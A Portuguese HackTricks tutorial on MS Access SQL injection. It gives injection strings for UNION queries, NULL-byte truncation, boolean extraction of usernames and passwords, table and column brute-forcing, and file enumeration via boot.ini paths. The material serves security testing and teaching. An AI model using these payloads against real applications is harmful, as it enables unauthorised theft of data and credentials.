10 KiB
Injeção de SQL no MS Access
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do HackTricks e HackTricks Cloud.
Playground Online
Limitações do BD
Concatenação de Strings
É possível fazer concatenação de strings com os caracteres & (%26)
e + (%2b)
.
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
Comentários
Não existem comentários no MS Access, mas aparentemente é possível remover o final de uma consulta com um caractere NULL:
1' union select 1,2 from table%00
Se isso não estiver funcionando, você sempre pode corrigir a sintaxe da consulta:
1' UNION SELECT 1,2 FROM table WHERE ''='
Consultas Empilhadas
Elas não são suportadas.
LIMIT
O operador LIMIT
não é implementado. No entanto, é possível limitar os resultados da consulta SELECT para os primeiros N registros da tabela usando o operador TOP
. TOP
aceita como argumento um inteiro, representando o número de linhas a serem retornadas.
1' UNION SELECT TOP 3 attr FROM table%00
Assim como o TOP
, você pode usar LAST
, que obterá as linhas a partir do final.
Consultas UNION/Subconsultas
Em um SQLi, geralmente você vai querer executar uma nova consulta para extrair informações de outras tabelas. O MS Access sempre exige que em subconsultas ou consultas extras seja indicado um FROM
.
Portanto, se você deseja executar um UNION SELECT
ou UNION ALL SELECT
ou um SELECT
entre parênteses em uma condição, você sempre precisa indicar um FROM
com um nome de tabela válido.
Por isso, você precisa conhecer um nome de tabela válido.
-1' UNION SELECT username,password from users%00
Encadeamento de igualdades + Substring
{% hint style="warning" %} Isso permitirá que você exfiltre valores da tabela atual sem precisar conhecer o nome da tabela. {% endhint %}
MS Access permite uma sintaxe estranha como '1'=2='3'='asd'=false
. Como geralmente a injeção SQL estará dentro de uma cláusula WHERE
, podemos abusar disso.
Imagine que você tenha uma SQLi em um banco de dados MS Access e você sabe (ou supõe) que um nome de coluna é username, e esse é o campo que você deseja exfiltrar. Você poderia verificar as diferentes respostas do aplicativo web quando a técnica de encadeamento de igualdades é usada e potencialmente exfiltrar conteúdo com uma injeção booleana usando a função Mid
para obter substrings.
'=(Mid(username,1,3)='adm')='
Se você conhece o nome da tabela e coluna para extrair, pode usar uma combinação entre Mid
, LAST
e TOP
para vazar todas as informações via SQLi booleano:
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
Sinta-se à vontade para verificar isso no playground online.
Força bruta em nomes de tabelas
Usando a técnica de encadeamento de igualdades, você também pode forçar a descoberta de nomes de tabelas com algo como:
'=(select+top+1+'lala'+from+<table_name>)='
Você também pode usar um método mais tradicional:
-1' AND (SELECT TOP 1 <table_name>)%00
Sinta-se à vontade para verificar isso no playground online.
- Nomes comuns de tabelas Sqlmap: https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt
- Há outra lista em http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
Força Bruta em Nomes de Colunas
Você pode forçar bruta nos nomes atuais das colunas com o truque de encadeamento de igualdades com:
'=column_name='
Ou com um group by:
-1' GROUP BY column_name%00
Ou você pode forçar bruscamente os nomes das colunas de uma tabela diferente com:
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
Despejando dados
Já discutimos a técnica de encadeamento de iguais para despejar dados da tabela atual e de outras tabelas. Mas existem outros métodos:
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
Em resumo, a consulta utiliza uma declaração "se-então" para acionar um "200 OK" em caso de sucesso ou um "500 Erro Interno" caso contrário. Aproveitando o operador TOP 10, é possível selecionar os primeiros dez resultados. O uso subsequente de LAST permite considerar apenas a 10ª tupla. Sobre tal valor, usando o operador MID, é possível realizar uma simples comparação de caracteres. Alterando adequadamente o índice de MID e TOP, podemos extrair o conteúdo do campo "username" para todas as linhas.
Baseado em Tempo
Outras Funções Interessantes
Mid('admin',1,1)
obter substring da posição 1 com comprimento 1 (a posição inicial é 1)LEN('1234')
obter comprimento da stringASC('A')
obter valor ascii do caractereCHR(65)
obter string a partir do valor asciiIIF(1=1,'a','b')
se entãoCOUNT(*)
Contar número de itens
Enumerando tabelas
A partir de aqui você pode ver uma consulta para obter nomes de tabelas:
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
No entanto, note que é muito típico encontrar Injeções SQL onde você não tem acesso para ler a tabela MSysObjects
.
Acesso ao Sistema de Arquivos
Caminho Completo do Diretório Raiz Web
O conhecimento do caminho absoluto da raiz web pode facilitar ataques subsequentes. Se os erros da aplicação não estiverem completamente ocultos, o caminho do diretório pode ser descoberto tentando selecionar dados de um banco de dados inexistente.
http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00
O MS Access responde com uma mensagem de erro contendo o caminho completo do diretório web.
Enumeração de Arquivos
O seguinte vetor de ataque pode ser usado para inferir a existência de um arquivo no sistema de arquivos remoto. Se o arquivo especificado existir, o MS Access dispara uma mensagem de erro informando que o formato do banco de dados é inválido:
http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00
Outra forma de enumerar arquivos consiste em especificar um item database.table. Se o arquivo especificado existir, o MS Access exibe uma mensagem de erro de formato de banco de dados.
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00
Adivinhação do Nome do Arquivo .mdb
O nome do arquivo do banco de dados (.mdb) pode ser inferido com a seguinte consulta:
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00
Onde name[i] é um nome de arquivo .mdb e realTable é uma tabela existente dentro do banco de dados. Embora o MS Access sempre dispare uma mensagem de erro, é possível distinguir entre um nome de arquivo inválido e um nome de arquivo .mdb válido.
Quebrador de Senha .mdb
Access PassView é uma utilidade gratuita que pode ser usada para recuperar a senha principal do banco de dados do Microsoft Access 95/97/2000/XP ou Jet Database Engine 3.0/4.0.
Referências
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quiser ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o merchandising oficial do PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud no github.